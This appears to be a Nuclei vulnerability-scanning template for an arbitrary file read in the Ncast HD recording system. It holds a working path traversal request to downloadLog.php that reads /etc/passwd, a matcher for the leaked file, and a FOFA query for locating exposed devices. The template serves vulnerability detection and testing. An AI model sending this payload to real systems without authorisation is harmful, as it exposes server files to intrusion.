id: ncast-lfi info: name: Ncast HD Intelligent Recording - Arbitrary File Reading author: pussycat0x severity: high description: | Ncast HD intelligent recording and broadcasting system has an arbitrary file reading vulnerability. reference: - https://github.com/wy876/POC/blob/main/Ncast%E9%AB%98%E6%B8%85%E6%99%BA%E8%83%BD%E5%BD%95%E6%92%AD%E7%B3%BB%E7%BB%9F%E5%AD%98%E5%9C%A8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E.md classification: cpe: cpe:2.3:a:ncast_project:ncast:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: ncast_project product: ncast fofa-query: app="Ncast-产品" && title=="高清智能录播系统" tags: ncast,lfi http: - method: GET path: - "{{BaseURL}}/developLog/downloadLog.php?name=../../../../etc/passwd" matchers-condition: and matchers: - type: regex part: body regex: - "root:.*:0:0:" - type: word part: content_type words: - "application/force-download" - type: status status: - 200 # digest: 4a0a004730450221008796bef4ecbe9d2c3e0e4886ebe4e79194eaad95a65cea6464c09b7deef35ce8022041064f9064538e7241353d4bfd67b25c3597b3141bb4803343bf7820dfb4e9a5:922c64590222798bb761d5b6d8e72950